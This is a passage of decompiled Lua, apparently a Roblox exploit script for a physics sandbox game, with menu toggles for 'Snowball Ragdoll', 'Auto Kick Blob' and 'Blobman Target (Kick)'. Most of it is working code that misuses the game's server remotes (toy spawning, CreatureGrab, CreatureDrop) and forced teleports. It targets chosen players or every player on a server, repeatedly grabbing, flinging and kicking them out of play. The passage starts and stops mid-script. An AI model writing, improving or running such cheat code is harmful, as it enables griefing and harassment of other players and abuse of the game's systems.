            v192.GrabConn = v192.W.ChildAdded:Connect(v204);
        end;
    end;
    v112:AddToggle({
        Name = "Strength", 
        Default = false, 
        Callback = function(v207)
            -- upvalues: v192 (ref), v206 (ref)
            v192.Enabled = v207;
            v206(v207);
        end
    });
    v112:AddSlider({
        Name = "Launch Strength", 
        Min = 10, 
        Max = 3000, 
        Default = v192.Strength, 
        Increment = 50, 
        Callback = function(v208)
            -- upvalues: v192 (ref)
            v192.Strength = v208;
        end
    });
    local l_LocalPlayer_5 = game:GetService("Players").LocalPlayer;
    local _ = v112:AddSection({
        Name = "Snowball Ragdoll"
    });
    local v211 = {
        P = game:GetService("Players"), 
        RS = game:GetService("ReplicatedStorage"), 
        W = l_Workspace_0, 
        LP = game:GetService("Players").LocalPlayer, 
        Toy = game:GetService("ReplicatedStorage"):WaitForChild("MenuToys"), 
        Set = game:GetService("ReplicatedStorage"):WaitForChild("GrabEvents"):WaitForChild("SetNetworkOwner"), 
        TP = "TP", 
        TE = false, 
        SE = false, 
        AE = false, 
        DD = "DD", 
        R = {}
    };
    local function v215()
        -- upvalues: v211 (ref)
        local v212 = {};
        for _, v214 in ipairs(v211.P:GetPlayers()) do
            if v214 ~= v211.LP then
                table.insert(v212, v214.Name);
            end;
        end;
        return v212;
    end;
    local function v216()
        -- upvalues: v211 (ref), v215 (ref)
        if v211.DD then
            v211.DD:Refresh(v215(), true);
        end;
    end;
    v211.P.PlayerAdded:Connect(v216);
    v211.P.PlayerRemoving:Connect(v216);
    local function v219(v217, v218)
        -- upvalues: v211 (ref)
        task.spawn(function()
            -- upvalues: v211 (ref), v217 (ref), v218 (ref)
            v211.Toy:WaitForChild("SpawnToyRemoteFunction"):InvokeServer(v217, CFrame.new(v218), Vector3.new());
        end);
    end;
    local function v229()
        -- upvalues: v211 (ref)
        while v211.AE do
            local l_FirstChild_0 = v211.W:FindFirstChild(v211.LP.Name .. "SpawnedInToys");
            if l_FirstChild_0 then
                for _, v222 in pairs(v211.R) do
                    local l_Character_8 = v222.Character;
                    local v224 = l_Character_8 and l_Character_8:FindFirstChild("HumanoidRootPart");
                    if v224 then
                        for _, v226 in ipairs(l_FirstChild_0:GetChildren()) do
                            if v226:IsA("Model") and v226.Name == "BallSnowball" then
                                for _, v228 in ipairs(v226:GetDescendants()) do
                                    if v228:IsA("BasePart") then
                                        v228.Position = v224.Position;
                                    end;
                                end;
                            end;
                        end;
                    end;
                end;
            end;
            task.wait(0.1);
        end;
    end;
    local function v234()
        -- upvalues: v211 (ref), v219 (ref)
        while v211.AE do
            v211.R = {};
            for _, v231 in pairs(v211.P:GetPlayers()) do
                if v231 ~= v211.LP and v231.Character then
                    local l_Humanoid_4 = v231.Character:FindFirstChild("Humanoid");
                    if l_Humanoid_4 and l_Humanoid_4.SeatPart and l_Humanoid_4.SeatPart.Parent.Name == "CreatureBlobman" then
                        table.insert(v211.R, v231);
                        local v233 = v211.LP.Character and v211.LP.Character:FindFirstChild("HumanoidRootPart");
                        if v233 then
                            v219("BallSnowball", v233.Position + Vector3.new(0, 2, 0));
                        end;
                    end;
                end;
            end;
            task.wait(0.1);
        end;
    end;
    local function v236()
        -- upvalues: v211 (ref), v219 (ref)
        while v211.SE do
            local v235 = v211.LP.Character and v211.LP.Character:FindFirstChild("HumanoidRootPart");
            if v235 then
                v219("BallSnowball", v235.Position + Vector3.new(0, 2, 0));
            end;
            task.wait(1);
        end;
    end;
    local function v244()
        -- upvalues: v211 (ref)
        while v211.TE do
            local l_FirstChild_1 = v211.W:FindFirstChild(v211.LP.Name .. "SpawnedInToys");
            if l_FirstChild_1 and v211.TP then
                local v238 = v211.P:FindFirstChild(v211.TP) and v211.P[v211.TP].Character;
                local v239 = v238 and v238:FindFirstChild("HumanoidRootPart");
                if v239 then
                    for _, v241 in ipairs(l_FirstChild_1:GetChildren()) do
                        if v241:IsA("Model") and v241.Name == "BallSnowball" then
                            for _, v243 in ipairs(v241:GetDescendants()) do
                                if v243:IsA("BasePart") then
                                    v243.Position = v239.Position;
                                end;
                            end;
                        end;
                    end;
                end;
            end;
            task.wait(0.1);
        end;
    end;
    v112:AddDropdown({
        Name = "Select Player", 
        Options = v215(), 
        Callback = function(v245)
            -- upvalues: v211 (ref)
            v211.TP = v245;
        end
    });
    v112:AddToggle({
        Name = "Snowball Ragdoll", 
        Callback = function(v246)
            -- upvalues: v211 (ref), v244 (ref)
            v211.TE = v246;
            if v246 then
                task.spawn(v244);
            end;
        end
    });
    v112:AddToggle({
        Name = "Auto Spawn", 
        Callback = function(v247)
            -- upvalues: v211 (ref), v236 (ref)
            v211.SE = v247;
            if v247 then
                task.spawn(v236);
            end;
        end
    });
    v112:AddToggle({
        Name = "Auto Kick Blob", 
        Callback = function(v248)
            -- upvalues: v211 (ref), v234 (ref), v229 (ref)
            v211.AE = v248;
            if v248 then
                task.spawn(v234);
                task.spawn(v229);
            end;
        end
    });
    if not game:IsLoaded() then
        game.Loaded:Wait();
    end;
    if not syn or not protectgui then
        getgenv().protectgui = function()

        end;
    end;
    local v249 = v44:MakeTab({
        Name = "Blobman Loop", 
        Icon = "rbxassetid://6031091005", 
        PremiumOnly = false
    });
    local _ = v249:AddSection({
        Name = "Blobman Target"
    });
    local v251 = {
        Players = game:GetService("Players"), 
        ReplicatedStorage = game:GetService("ReplicatedStorage"), 
        Workspace = game:GetService("Workspace"), 
        LocalPlayer = "Blobman Target", 
        TargetList = v47.TargetList or {}, 
        selectedPlayer = "selectedPlayer", 
        toggleEnabled = false, 
        teleportAllEnabled = false, 
        teleportDelay = 1, 
        currentBlobman = "currentBlobman", 
        masterRunning = false, 
        blobalter = 1, 
        ORIGIN_POS = "ORIGIN_POS", 
        MAX_TELEPORT_DIST = 500, 
        targetPlayerDropdown = "targetPlayerDropdown"
    };
    v251.LocalPlayer = v251.Players.LocalPlayer;
    v47.TargetList = v251.TargetList;
    local function v255()
        -- upvalues: v251 (ref)
        local v252 = {};
        for _, v254 in ipairs(v251.Players:GetPlayers()) do
            if v254 ~= v251.LocalPlayer then
                table.insert(v252, v254.Name);
            end;
        end;
        return v252;
    end;
    local function v256()
        -- upvalues: v251 (ref), v255 (ref)
        if v251.targetPlayerDropdown then
            v251.targetPlayerDropdown:Refresh(v255(), true);
        end;
    end;
    v251.targetPlayerDropdown = v249:AddDropdown({
        Name = "Select Player", 
        Default = "", 
        Options = v255(), 
        Callback = function(v257)
            -- upvalues: v251 (ref)
            v251.selectedPlayer = v251.Players:FindFirstChild(v257);
        end
    });
    v39(v251.targetPlayerDropdown);
    v249:AddButton({
        Name = "Add Selected Player to Target List", 
        Callback = function()
            -- upvalues: v251 (ref), v43 (ref)
            if v251.selectedPlayer and not v251.TargetList[v251.selectedPlayer.UserId] then
                v251.TargetList[v251.selectedPlayer.UserId] = v251.selectedPlayer.Name;
                v43:MakeNotification({
                    Name = "Player Added", 
                    Content = v251.selectedPlayer.Name .. " added to target list.", 
                    Time = 2
                });
            end;
        end
    });
    v249:AddButton({
        Name = "Remove Selected Player from Target List", 
        Callback = function()
            -- upvalues: v251 (ref), v43 (ref)
            if v251.selectedPlayer and v251.TargetList[v251.selectedPlayer.UserId] then
                v251.TargetList[v251.selectedPlayer.UserId] = "UserId";
                v43:MakeNotification({
                    Name = "Player Removed", 
                    Content = v251.selectedPlayer.Name .. " removed from target list.", 
                    Time = 2
                });
            end;
        end
    });
    local function v262(v258, v259)
        -- upvalues: v25 (ref)
        if v25 ~= 1 then
            if v258.Character and v258.Character:FindFirstChild("HumanoidRootPart") then
                local v260 = {
                    v259:FindFirstChild("RightDetector"), 
                    v258.Character:FindFirstChild("HumanoidRootPart"), 
                    v259:FindFirstChild("RightDetector"):FindFirstChild("RightWeld")
                };
                v259:WaitForChild("BlobmanSeatAndOwnerScript"):WaitForChild("CreatureGrab"):FireServer(unpack(v260));
                v25 = 1;
            end;
        elseif v258.Character and v258.Character:FindFirstChild("HumanoidRootPart") then
            local v261 = {
                v259:FindFirstChild("LeftDetector"), 
                v258.Character:FindFirstChild("HumanoidRootPart"), 
                v259:FindFirstChild("LeftDetector"):FindFirstChild("LeftWeld")
            };
            v259:WaitForChild("BlobmanSeatAndOwnerScript"):WaitForChild("CreatureGrab"):FireServer(unpack(v261));
            v25 = 2;
        end;
    end;
    local function v265()
        -- upvalues: l_LocalPlayer_0 (ref)
        local l_Character_9 = l_LocalPlayer_0.Character;
        if l_Character_9 then
            local l_Humanoid_5 = l_Character_9:FindFirstChildOfClass("Humanoid");
            if l_Humanoid_5 and l_Humanoid_5.SeatPart and l_Humanoid_5.SeatPart.Parent.Name == "CreatureBlobman" then
                return l_Humanoid_5.SeatPart.Parent;
            end;
        end;
        return nil;
    end;
    local function v270(v266, v267)
        -- upvalues: l_LocalPlayer_0 (ref)
        local v268 = l_LocalPlayer_0.Character and l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart");
        if not v268 then
            return;
        else
            local l_BodyPosition_0 = Instance.new("BodyPosition");
            l_BodyPosition_0.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
            l_BodyPosition_0.P = 100000;
            l_BodyPosition_0.Position = v267;
            l_BodyPosition_0.Parent = v266.PrimaryPart;
            v268.CFrame = CFrame.new(v267);
            v266:SetPrimaryPartCFrame(CFrame.new(v267));
            task.wait(0.1);
            l_BodyPosition_0:Destroy();
            return;
        end;
    end;
    local function v277()
        -- upvalues: v14 (ref), l_Workspace_0 (ref), l_LocalPlayer_5 (ref), v43 (ref), v47 (ref), l_Players_0 (ref), v262 (ref)
        task.spawn(function()
            -- upvalues: v14 (ref), l_Workspace_0 (ref), l_LocalPlayer_5 (ref), v43 (ref), v47 (ref), l_Players_0 (ref), v262 (ref)
            while true do
                if v14 then
                    local v271 = nil;
                    for _, v273 in pairs(l_Workspace_0:GetDescendants()) do
                        if v273.Name == "CreatureBlobman" and v273:FindFirstChild("VehicleSeat") and v273.VehicleSeat:FindFirstChild("SeatWeld") and v273.VehicleSeat.SeatWeld.Part1:IsDescendantOf(l_LocalPlayer_5.Character) then
                            v271 = v273;
                            break;
                        end;
                    end;
                    if not v271 then
                        v43:MakeNotification({
                            Name = "Error", 
                            Content = "You must be mounted on a Blobman!", 
                            Time = 5
                        });
                        v14 = false;
                        return;
                    else
                        for v274, _ in pairs(v47.TargetList) do
                            local l_l_Players_0_PlayerByUserId_0 = l_Players_0:GetPlayerByUserId(v274);
                            if l_l_Players_0_PlayerByUserId_0 then
                                v262(l_l_Players_0_PlayerByUserId_0, v271);
                                task.wait(v47.BlobmanDelay or 0.1);
                            end;
                        end;
                        task.wait(0.02);
                    end;
                else
                    return;
                end;
            end;
        end);
    end;
    local function v283(v278, v279, v280)
        -- upvalues: l_LocalPlayer_0 (ref), v270 (ref), v262 (ref)
        if not l_LocalPlayer_0.Character or not l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart") or not v278.Character or not v278.Character:FindFirstChild("HumanoidRootPart") then
            return false;
        else
            local l_HumanoidRootPart_6 = v278.Character.HumanoidRootPart;
            if (l_HumanoidRootPart_6.Position - v280).Magnitude > 20 then
                local v282 = l_HumanoidRootPart_6.Position + Vector3.new(0, 2, 0);
                v270(v279, v282);
                task.wait(0.2);
                v262(v278, v279);
                task.wait(0.2);
                v270(v279, v280);
                task.wait(0.2);
                if (l_HumanoidRootPart_6.Position - v280).Magnitude > 20 then
                    return false;
                else
                    return true;
                end;
            else
                return true;
            end;
        end;
    end;
    local function v292()
        -- upvalues: v14 (ref), v265 (ref), l_LocalPlayer_0 (ref), v47 (ref), l_Players_0 (ref), v283 (ref)
        task.spawn(function()
            -- upvalues: v14 (ref), v265 (ref), l_LocalPlayer_0 (ref), v47 (ref), l_Players_0 (ref), v283 (ref)
            while v14 do
                local v284 = v265();
                local v285 = l_LocalPlayer_0.Character and l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart");
                if v284 and v285 then
                    local l_Position_1 = v285.Position;
                    for v287, _ in pairs(v47.TargetList) do
                        local l_l_Players_0_PlayerByUserId_1 = l_Players_0:GetPlayerByUserId(v287);
                        if l_l_Players_0_PlayerByUserId_1 and l_l_Players_0_PlayerByUserId_1.Character and l_l_Players_0_PlayerByUserId_1.Character:FindFirstChild("HumanoidRootPart") and (l_l_Players_0_PlayerByUserId_1.Character.HumanoidRootPart.Position - l_Position_1).Magnitude > 20 then
                            local v290 = false;
                            local v291 = 0;
                            while v14 and not v290 and v291 < 3 do
                                v290 = v283(l_l_Players_0_PlayerByUserId_1, v284, l_Position_1);
                                v291 = v291 + 1;
                                if not v290 then
                                    task.wait(0.5);
                                end;
                            end;
                        end;
                    end;
                end;
                task.wait(0.2);
            end;
        end);
    end;
    v249:AddToggle({
        Name = "Blobman Target (If you are in safe zone/void)", 
        Default = false, 
        Callback = function(v293)
            -- upvalues: v14 (ref), v277 (ref), v292 (ref)
            v14 = v293;
            if v293 then
                v277();
                v292();
            end;
        end
    });
    local function v297(v294)
        -- upvalues: v251 (ref)
        local v295 = RaycastParams.new();
        v295.FilterDescendantsInstances = {
            v251.LocalPlayer.Character
        };
        v295.FilterType = Enum.RaycastFilterType.Blacklist;
        local v296 = v251.Workspace:Raycast(v294 + Vector3.new(0, 50, 0), Vector3.new(0, -400), v295);
        return v296 and v296.Position or v294;
    end;
    local function v305()
        -- upvalues: v251 (ref), v297 (ref)
        local v298 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
        if v298 then
            local v299 = v297(v298.Position);
            local v300 = CFrame.new(v299 + Vector3.new(0, 3, 0));
            pcall(function()
                -- upvalues: v251 (ref), v300 (ref)
                v251.ReplicatedStorage.MenuToys.SpawnToyRemoteFunction:InvokeServer("CreatureBlobman", v300, Vector3.new(0, 59.667, 0));
            end);
            local v301 = v251.LocalPlayer.Name .. "SpawnedInToys";
            for _ = 1, 30 do
                local l_FirstChild_2 = v251.Workspace:FindFirstChild(v301);
                if l_FirstChild_2 then
                    local l_CreatureBlobman_0 = l_FirstChild_2:FindFirstChild("CreatureBlobman");
                    if l_CreatureBlobman_0 then
                        v251.blobalter = 1;
                        return l_CreatureBlobman_0;
                    end;
                end;
                task.wait(0.15);
            end;
            return nil;
        else
            return nil;
        end;
    end;
    local function v307()
        -- upvalues: v251 (ref)
        local l_FirstChild_3 = v251.Workspace:FindFirstChild(v251.LocalPlayer.Name .. "SpawnedInToys");
        return l_FirstChild_3 and l_FirstChild_3:FindFirstChild("CreatureBlobman") or nil;
    end;
    local function v310()
        -- upvalues: v251 (ref)
        local l_Character_10 = v251.LocalPlayer.Character;
        if l_Character_10 then
            local l_Humanoid_6 = l_Character_10:FindFirstChildOfClass("Humanoid");
            if l_Humanoid_6 and l_Humanoid_6.SeatPart and l_Humanoid_6.SeatPart.Parent and l_Humanoid_6.SeatPart.Parent.Name == "CreatureBlobman" then
                return l_Humanoid_6.SeatPart.Parent;
            else
                return nil;
            end;
        else
            return nil;
        end;
    end;
    local function v316(v311)
        -- upvalues: v251 (ref)
        if not v311 or not v251.LocalPlayer.Character then
            return;
        else
            local l_Character_11 = v251.LocalPlayer.Character;
            local l_Humanoid_7 = l_Character_11:FindFirstChildOfClass("Humanoid");
            local l_HumanoidRootPart_7 = l_Character_11:FindFirstChild("HumanoidRootPart");
            if l_Humanoid_7 and l_HumanoidRootPart_7 then
                local l_VehicleSeat_0 = v311:FindFirstChild("VehicleSeat");
                if l_VehicleSeat_0 and l_VehicleSeat_0:IsA("VehicleSeat") then
                    l_HumanoidRootPart_7.CFrame = l_VehicleSeat_0.CFrame + Vector3.new(0, 2, 0);
                    pcall(function()
                        -- upvalues: l_VehicleSeat_0 (ref), l_Humanoid_7 (ref)
                        l_VehicleSeat_0:Sit(l_Humanoid_7);
                    end);
                    task.wait(0.25);
                end;
                return;
            else
                return;
            end;
        end;
    end;
    local function v322(v317, v318)
        -- upvalues: v251 (ref)
        if not v317 or not v317.PrimaryPart then
            return;
        else
            local l_Character_12 = v251.LocalPlayer.Character;
            if l_Character_12 then
                local l_HumanoidRootPart_8 = l_Character_12:FindFirstChild("HumanoidRootPart");
                if l_HumanoidRootPart_8 then
                    local l_BodyPosition_1 = Instance.new("BodyPosition");
                    l_BodyPosition_1.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
                    l_BodyPosition_1.P = 100000;
                    l_BodyPosition_1.Position = v318;
                    l_BodyPosition_1.Parent = v317.PrimaryPart;
                    pcall(function()
                        -- upvalues: l_HumanoidRootPart_8 (ref), v318 (ref), v317 (ref)
                        l_HumanoidRootPart_8.CFrame = CFrame.new(v318);
                        v317:SetPrimaryPartCFrame(CFrame.new(v318));
                    end);
                    task.wait(0.1);
                    if l_BodyPosition_1 and l_BodyPosition_1.Parent then
                        l_BodyPosition_1:Destroy();
                    end;
                    return;
                else
                    return;
                end;
            else
                return;
            end;
        end;
    end;
    local function v333(v323, v324)
        -- upvalues: v251 (ref)
        if not v323 or not v324 then
            return;
        elseif v323.Character and v323.Character:FindFirstChild("HumanoidRootPart") then
            local l_LeftDetector_0 = v324:FindFirstChild("LeftDetector");
            local l_RightDetector_0 = v324:FindFirstChild("RightDetector");
            local l_BlobmanSeatAndOwnerScript_0 = v324:FindFirstChild("BlobmanSeatAndOwnerScript");
            if l_BlobmanSeatAndOwnerScript_0 then
                local l_CreatureGrab_0 = l_BlobmanSeatAndOwnerScript_0:FindFirstChild("CreatureGrab");
                if l_CreatureGrab_0 then
                    if v251.blobalter == 1 then
                        local v329 = l_LeftDetector_0 and l_LeftDetector_0:FindFirstChild("LeftWeld");
                        do
                            local l_v329_0 = v329;
                            if l_LeftDetector_0 and l_v329_0 then
                                pcall(function()
                                    -- upvalues: l_CreatureGrab_0 (ref), l_LeftDetector_0 (ref), v323 (ref), l_v329_0 (ref)
                                    l_CreatureGrab_0:FireServer(l_LeftDetector_0, v323.Character.HumanoidRootPart, l_v329_0);
                                end);
                                v251.blobalter = 2;
                            end;
                        end;
                    else
                        local v331 = l_RightDetector_0 and l_RightDetector_0:FindFirstChild("RightWeld");
                        do
                            local l_v331_0 = v331;
                            if l_RightDetector_0 and l_v331_0 then
                                pcall(function()
                                    -- upvalues: l_CreatureGrab_0 (ref), l_RightDetector_0 (ref), v323 (ref), l_v331_0 (ref)
                                    l_CreatureGrab_0:FireServer(l_RightDetector_0, v323.Character.HumanoidRootPart, l_v331_0);
                                end);
                                v251.blobalter = 1;
                            end;
                        end;
                    end;
                    return;
                else
                    return;
                end;
            else
                return;
            end;
        else
            return;
        end;
    end;
    local function v342(v334, v335, v336, v337)
        -- upvalues: v251 (ref), v333 (ref), v322 (ref)
        if not v337 then
            v337 = 20;
        end;
        if v334 and v335 and v336 then
            if v334.Character and v334.Character:FindFirstChild("HumanoidRootPart") then
                local l_HumanoidRootPart_9 = v334.Character.HumanoidRootPart;
                local l_Magnitude_0 = (l_HumanoidRootPart_9.Position - v336).Magnitude;
                if not v251.ORIGIN_POS or (l_HumanoidRootPart_9.Position - v251.ORIGIN_POS).Magnitude <= v251.MAX_TELEPORT_DIST then
                    if l_Magnitude_0 <= v337 then
                        v333(v334, v335);
                        task.wait(0.1);
                        return true;
                    else
                        local v340 = l_HumanoidRootPart_9.Position + Vector3.new(0, 2, 0);
                        v322(v335, v340);
                        task.wait(0.2);
                        v333(v334, v335);
                        task.wait(0.2);
                        v322(v335, v336);
                        task.wait(0.2);
                        if v334.Character and v334.Character:FindFirstChild("HumanoidRootPart") then
                            if (v334.Character.HumanoidRootPart.Position - v336).Magnitude > v337 then
                                local _ = false;
                            end;
                            return true;
                        else
                            return false;
                        end;
                    end;
                else
                    return false;
                end;
            else
                return false;
            end;
        else
            return false;
        end;
    end;
    local function v358(v343, v344, v345)
        -- upvalues: v251 (ref), v322 (ref), v333 (ref)
        if v343 and v343.Character and v344 and v344.Parent then
            local l_HumanoidRootPart_10 = v343.Character:FindFirstChild("HumanoidRootPart");
            if l_HumanoidRootPart_10 then
                local l_BlobmanSeatAndOwnerScript_1 = v344:FindFirstChild("BlobmanSeatAndOwnerScript");
                if l_BlobmanSeatAndOwnerScript_1 then
                    local l_CreatureDrop_0 = l_BlobmanSeatAndOwnerScript_1:FindFirstChild("CreatureDrop");
                    local l_CreatureGrab_1 = l_BlobmanSeatAndOwnerScript_1:FindFirstChild("CreatureGrab");
                    if not l_CreatureDrop_0 or not l_CreatureGrab_1 then
                        return;
                    else
                        for v350 = 1, 4 do
                            if v251.toggleEnabled then
                                local v351 = (v345 or v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and v251.LocalPlayer.Character.HumanoidRootPart.Position or Vector3.new()) + Vector3.new(0, 10 * v350, 0);
                                if v344 and v344.PrimaryPart then
                                    v322(v344, v351);
                                end;
                                task.wait(0.1);
                                local l_LeftDetector_1 = v344:FindFirstChild("LeftDetector");
                                local l_RightDetector_1 = v344:FindFirstChild("RightDetector");
                                local v354 = l_LeftDetector_1 and (l_LeftDetector_1:FindFirstChild("RigidConstraint") or l_LeftDetector_1:FindFirstChild("LeftWeld"));
                                local v355 = l_RightDetector_1 and (l_RightDetector_1:FindFirstChild("RightWeld") or l_RightDetector_1:FindFirstChild("RigidConstraint"));
                                do
                                    local l_v354_0, l_v355_0 = v354, v355;
                                    if l_v354_0 then
                                        pcall(function()
                                            -- upvalues: l_CreatureDrop_0 (ref), l_v354_0 (ref), l_HumanoidRootPart_10 (ref)
                                            l_CreatureDrop_0:FireServer(l_v354_0, l_HumanoidRootPart_10);
                                        end);
                                    end;
                                    if l_v355_0 then
                                        pcall(function()
                                            -- upvalues: l_CreatureDrop_0 (ref), l_v355_0 (ref), l_HumanoidRootPart_10 (ref)
                                            l_CreatureDrop_0:FireServer(l_v355_0, l_HumanoidRootPart_10);
                                        end);
                                    end;
                                    task.wait(0.1);
                                    v333(v343, v344);
                                    task.wait(0.1);
                                end;
                            else
                                break;
                            end;
                        end;
                        return;
                    end;
                else
                    return;
                end;
            else
                return;
            end;
        else
            return;
        end;
    end;
    local function v384()
        -- upvalues: v251 (ref), v47 (ref), v307 (ref), v305 (ref), v310 (ref), v316 (ref), v342 (ref), v358 (ref), v333 (ref)
        if not v251.masterRunning then
            v251.masterRunning = true;
            local l_Character_13 = v251.LocalPlayer.Character;
            local v360 = l_Character_13 and l_Character_13:FindFirstChild("HumanoidRootPart");
            if v360 then
                v251.ORIGIN_POS = v360.Position;
            end;
            v47.LastProcessed = v47.LastProcessed or {};
            task.spawn(function()
                -- upvalues: v251 (ref), v307 (ref), v305 (ref), v310 (ref), v316 (ref), v47 (ref), v342 (ref), v358 (ref), v333 (ref)
                local v361 = false;
                while v251.toggleEnabled do
                    if not v251.currentBlobman or v251.currentBlobman and not v251.currentBlobman.Parent then
                        v251.currentBlobman = v307();
                    end;
                    if not v251.currentBlobman or v251.currentBlobman and not v251.currentBlobman.Parent then
                        local v362 = v305();
                        if v362 then
                            v251.currentBlobman = v362;
                            task.wait(0.25);
                        end;
                    end;
                    if v251.currentBlobman and v251.currentBlobman.Parent then
                        local v363 = v310();
                        if not v363 or v363 ~= v251.currentBlobman then
                            local v364 = os.clock();
                            while v251.toggleEnabled and (not v363 or v363 ~= v251.currentBlobman) do
                                v316(v251.currentBlobman);
                                task.wait(0.25);
                                v363 = v310();
                                if v363 ~= v251.currentBlobman then
                                    if os.clock() - v364 >= 5 then
                                        local v365 = v305();
                                        if v365 then
                                            v251.currentBlobman = v365;
                                            task.wait(0.3);
                                            for _ = 1, 6 do
                                                if v251.toggleEnabled then
                                                    v316(v251.currentBlobman);
                                                    task.wait(0.25);
                                                    v361 = v310() == v251.currentBlobman;
                                                else
                                                    v361 = true;
                                                end;
                                                if v361 then
                                                    break;
                                                end;
                                                if v361 then
                                                    break;
                                                end;
                                            end;
                                            if not v361 then
                                                if not v361 then
                                                    break;
                                                end;
                                            end;
                                        else
                                            break;
                                        end;
                                    end;
                                else
                                    break;
                                end;
                                if v361 then
                                    break;
                                end;
                                if v361 then
                                    break;
                                end;
                            end;
                        end;
                        v361 = false;
                        if v310() == v251.currentBlobman then
                            local l_Character_14 = v251.LocalPlayer.Character;
                            local v368 = l_Character_14 and l_Character_14:FindFirstChild("HumanoidRootPart");
                            if v368 then
                                local l_Position_2 = v368.Position;
                                local v370 = {};
                                if v251.teleportAllEnabled then
                                    for _, v372 in ipairs(v251.Players:GetPlayers()) do
                                        if v372 ~= v251.LocalPlayer then
                                            table.insert(v370, v372);
                                        end;
                                    end;
                                else
                                    for v373, _ in pairs(v251.TargetList) do
                                        local l_PlayerByUserId_0 = v251.Players:GetPlayerByUserId(v373);
                                        if l_PlayerByUserId_0 then
                                            table.insert(v370, l_PlayerByUserId_0);
                                        end;
                                    end;
                                end;
                                if true then
                                    local l_l_Position_2_0 = l_Position_2;
                                    for _, v378 in ipairs(v370) do
                                        if v251.toggleEnabled then
                                            if true then
                                                local l_v378_0 = v378;
                                                if l_v378_0 and l_v378_0.Character and l_v378_0.Character:FindFirstChild("HumanoidRootPart") then
                                                    if v47.LastProcessed[l_v378_0.UserId] then
                                                        local v380 = l_v378_0.Character and l_v378_0.Character:FindFirstChild("HumanoidRootPart");
                                                        local v381 = l_v378_0.Character and l_v378_0.Character:FindFirstChild("Humanoid");
                                                        if not v380 or not v381 or v381.Health <= 0 or (v380.Position - l_l_Position_2_0).Magnitude > 20 then
                                                            v47.LastProcessed[l_v378_0.UserId] = 20;
                                                        end;
                                                    end;
                                                    if v251.ORIGIN_POS and (l_v378_0.Character.HumanoidRootPart.Position - v251.ORIGIN_POS).Magnitude <= v251.MAX_TELEPORT_DIST then
                                                        if (l_v378_0.Character.HumanoidRootPart.Position - l_l_Position_2_0).Magnitude > 20 then
                                                            local v382 = false;
                                                            local v383 = 0;
                                                            while v251.toggleEnabled and not v382 and v383 < 3 and v251.currentBlobman and v251.currentBlobman.Parent and v310() == v251.currentBlobman do
                                                                v382 = v342(l_v378_0, v251.currentBlobman, l_l_Position_2_0, 20);
                                                                v383 = v383 + 1;
                                                                if v382 then
                                                                    pcall(function()
                                                                        -- upvalues: v358 (ref), l_v378_0 (ref), v251 (ref), l_l_Position_2_0 (ref)
                                                                        v358(l_v378_0, v251.currentBlobman, l_l_Position_2_0);
                                                                    end);
                                                                    v47.LastProcessed[l_v378_0.UserId] = tick();
                                                                else
                                                                    task.wait(0.4);
                                                                end;
                                                            end;
                                                        else
                                                            v333(l_v378_0, v251.currentBlobman);
                                                            task.wait(v47.BlobmanDelay or 0.1);
                                                            pcall(function()
                                                                -- upvalues: v358 (ref), l_v378_0 (ref), v251 (ref), l_l_Position_2_0 (ref)
                                                                v358(l_v378_0, v251.currentBlobman, l_l_Position_2_0);
                                                            end);
                                                            v47.LastProcessed[l_v378_0.UserId] = tick();
                                                        end;
                                                    end;
                                                end;
                                            end;
                                        else
                                            break;
                                        end;
                                    end;
                                end;
                            end;
                        end;
                    end;
                    task.wait(0.25);
                end;
                v251.masterRunning = false;
            end);
            return;
        else
            return;
        end;
    end;
    v251.LocalPlayer.CharacterAdded:Connect(function()
        -- upvalues: v251 (ref), v384 (ref)
        if v251.toggleEnabled then
            task.wait(1.5);
            local v385 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
            if v385 then
                v251.ORIGIN_POS = v385.Position;
            end;
            v384();
        end;
    end);
    v249:AddToggle({
        Name = "Blobman Target (Kick)", 
        Default = false, 
        Callback = function(v386)
            -- upvalues: v251 (ref), v384 (ref)
            v251.toggleEnabled = v386;
            if v386 then
                local v387 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
                if v387 then
                    v251.ORIGIN_POS = v387.Position;
                end;
                v384();
            end;
        end
    });
    v249:AddSlider({
        Name = "Teleport Duration", 
        Min = 0.25, 
        Max = 3, 
        Default = v251.teleportDelay, 
        Increment = 0.01, 
        ValueName = "Seconds", 
        Callback = function(v388)
            -- upvalues: v251 (ref)
            v251.teleportDelay = v388;
        end
    });
    v251.Players.PlayerAdded:Connect(v256);
    v251.Players.PlayerRemoving:Connect(v256);
    local v389 = {
        autoGrab = false, 
        autoGrabCoroutine = "autoGrabCoroutine"
    };
    local function v397(v390, v391)
        local l_LeftDetector_2 = v390:FindFirstChild("LeftDetector");
        local l_RightDetector_2 = v390:FindFirstChild("RightDetector");
        local l_BlobmanSeatAndOwnerScript_2 = v390:FindFirstChild("BlobmanSeatAndOwnerScript");
        if not l_LeftDetector_2 or not l_RightDetector_2 or not l_BlobmanSeatAndOwnerScript_2 or not v391 then
            return;
        else
            local l_RigidConstraint_0 = l_LeftDetector_2:FindFirstChild("RigidConstraint");
            local l_RightWeld_0 = l_RightDetector_2:FindFirstChild("RightWeld");
            if l_RigidConstraint_0 then
                pcall(function()
                    -- upvalues: l_BlobmanSeatAndOwnerScript_2 (ref), l_LeftDetector_2 (ref), v391 (ref), l_RigidConstraint_0 (ref)
                    l_BlobmanSeatAndOwnerScript_2.CreatureGrab:FireServer(l_LeftDetector_2, v391, l_RigidConstraint_0);
                    l_BlobmanSeatAndOwnerScript_2.CreatureDrop:FireServer(l_RigidConstraint_0, v391);
                end);
            end;
            if l_RightWeld_0 then
                pcall(function()
                    -- upvalues: l_BlobmanSeatAndOwnerScript_2 (ref), l_RightDetector_2 (ref), v391 (ref), l_RightWeld_0 (ref)
                    l_BlobmanSeatAndOwnerScript_2.CreatureGrab:FireServer(l_RightDetector_2, v391, l_RightWeld_0);
                    l_BlobmanSeatAndOwnerScript_2.CreatureDrop:FireServer(l_RightWeld_0, v391);
                end);
            end;
            return;
        end;
    end;
    local function v401()
        -- upvalues: l_Workspace_0 (ref)
        for _, v399 in pairs(l_Workspace_0:GetDescendants()) do
